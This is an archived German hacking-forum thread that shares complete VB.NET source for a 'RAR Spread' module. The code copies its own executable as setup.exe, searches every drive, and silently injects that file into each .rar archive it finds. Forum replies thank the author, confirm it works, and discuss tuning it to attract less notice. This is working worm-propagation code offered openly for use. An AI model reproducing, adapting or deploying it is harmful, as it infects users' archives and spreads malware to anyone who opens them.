PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] RAR Spread *Funktioniert auch unter Vista/7*



hackerking
29.07.2010, 13:56
'by hackerking
Public Class Archive
Shared RarPath As String = "rar.exe"

Public Shared Sub Spread()
If File.Exists(Environment.GetFolderPath(Environment. SpecialFolder.ProgramFiles) & "\WinRar\Rar.exe") Then
RarPath = Environment.GetFolderPath(Environment.SpecialFolde r.ProgramFiles) & "\WinRar\Rar.exe"
If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
File.Copy(RarPath, Application.StartupPath & "\rar.exe")
RarPath = Application.StartupPath & "\rar.exe"
ElseIf File.Exists(Environment.GetFolderPath(Environment. SpecialFolder.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe") Then
RarPath = Environment.GetFolderPath(Environment.SpecialFolde r.ProgramFiles).Replace(" (x86)", "") & "\WinRar\Rar.exe"
If File.Exists(Application.StartupPath & "\rar.exe") Then Kill(Application.StartupPath & "\rar.exe")
File.Copy(RarPath, Application.StartupPath & "\rar.exe")
RarPath = Application.StartupPath & "\rar.exe"
Else
Exit Sub
End If

If File.Exists(Application.StartupPath & "\setup.exe") Then Kill(Application.StartupPath & "\setup.exe")
File.Copy(Application.ExecutablePath, Application.StartupPath & "\setup.exe")
Dim Drives() As String = Environment.GetLogicalDrives
For Each sDrive As String In Drives
SearchForArchive(sDrive)
Next
End Sub

Private Shared Sub SearchForArchive(ByVal sPath As String)
Try
If sPath = Directory.GetDirectoryRoot(sPath) & "archive_db" Or sPath = Directory.GetDirectoryRoot(sPath) & "Intel" Or sPath = Directory.GetDirectoryRoot(sPath) & _
"NVIDIA" Or sPath = Directory.GetDirectoryRoot(sPath) & "PerfLogs" Or sPath = Directory.GetDirectoryRoot(sPath) _
& "Windows" Or sPath = Directory.GetDirectoryRoot(sPath) & "Windows.old" Or sPath = Environment.GetFolderPath(Environment.SpecialFolde r.ProgramFiles) _
Or sPath = Environment.GetFolderPath(Environment.SpecialFolde r.Programs) Or sPath = Environment.GetFolderPath(Environment.SpecialFolde r.CommonProgramFiles) _
Or sPath = Directory.GetDirectoryRoot(sPath) & "$Recycle.Bin" Or sPath = Directory.GetDirectoryRoot(sPath) & "Boot" Or sPath = Directory.GetDirectoryRoot(sPath) _
& "Config.Msi" Or sPath = Directory.GetDirectoryRoot(sPath) & "System Volume Information" Or sPath = Directory.GetDirectoryRoot(sPath) & "Program Files" Or _
sPath = Directory.GetDirectoryRoot(sPath) & "Program Files (x86)" Then
Exit Sub
End If

Dim Files As String() = Directory.GetFiles(sPath)
For Each File As String In Files
Try
If Path.GetExtension(File) = ".rar" Then
InjectArchive(File)
End If
Catch
End Try
Next
Dim SubDirs As String() = Directory.GetDirectories(sPath)
For Each SubDir As String In SubDirs
SearchForArchive(SubDir)
Next
Catch
End Try
End Sub

Private Shared Sub InjectArchive(ByVal sArchive As String)
Try
Dim psi As New ProcessStartInfo With {.Arguments = " a " & sArchive & " setup.exe", .FileName = RarPath}
With psi
.CreateNoWindow = True
.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(psi)
psi = Nothing
End With
Catch
End Try
End Sub
End Class

ein thx tut nicht weh ;)
ps:
die klasse funktioniert unter xp/vista/7
aber nicht mit zip datein

ps2:
ordentlich nää :D

edit//
gibt ein paar kleinigkeiten die verbessert werden könnten. (using, with etc.)
aber dass könnt ihr ja selber machen

conrado
06.09.2010, 17:20
ok funtz aber erst nach verschicken der datei^^ OoO
danke

hackerking
22.09.2010, 06:55
Nach verschicken der Datei?
Was meinste damit?

conrado
22.09.2010, 07:18
naja also erstmal is der code viel zu agessiv...

ich mein fällt ja nicht auf das dein PC einem Düsenjet gleicht oder? XD
naja dann geht das ihrgentwie erst sobald eine Datei "aktivert wird" oder ihrgentwie nach 10 min ...?

Versteh das ja auch nit ganz warum und so ... is ihrgentwie dennoch komisch...^^

Sonst finde ich es ganz jut zum modden...

hackerking
26.09.2010, 14:43
oO?
Was laberst du von aggressiv?
Die Aufgabe ist, alle RAR-Archive zu infizieren (eine Exe-Datei anhängen)

Und dafür braucht man keinen guten Rechner. Jeder wird das hinkriegen... Es werden die größten Verzeichnisse (ProgramFiles und der ganze Müll wo niemand reinguckt) eh nicht infiziert.. Bei mir brauchte die Datei unter 12 GB RAM ohne einen Datei Cache knapp 2 Minuten..

conrado
27.09.2010, 21:00
naja meinte das es laut ist...

meine festplatte hat plötzlich voll druchgedreht...

vill ne pause von 50 millisekunden einbauen..^^
(des meinte ich mit agressiv^^)

Icqcoke
28.09.2010, 17:36
jo wäre nett
wenn man einen laptop hatt dauerd das ja ewig *-*

Hu5eL
28.09.2010, 19:57
das ist aber doch nicht seine aufgabe... er hat den code dafür "veröffentlicht" und nicht die funktion um das möglichst unauffällig zu tun

conrado
30.09.2010, 15:02
Ja... aber is nur so nen verbesserungs vorschlag^^
habs für mich gemoddet^^

FETTES THX:)

penguin
30.09.2010, 19:04
Sieht ganz nett aus, danke für die release :)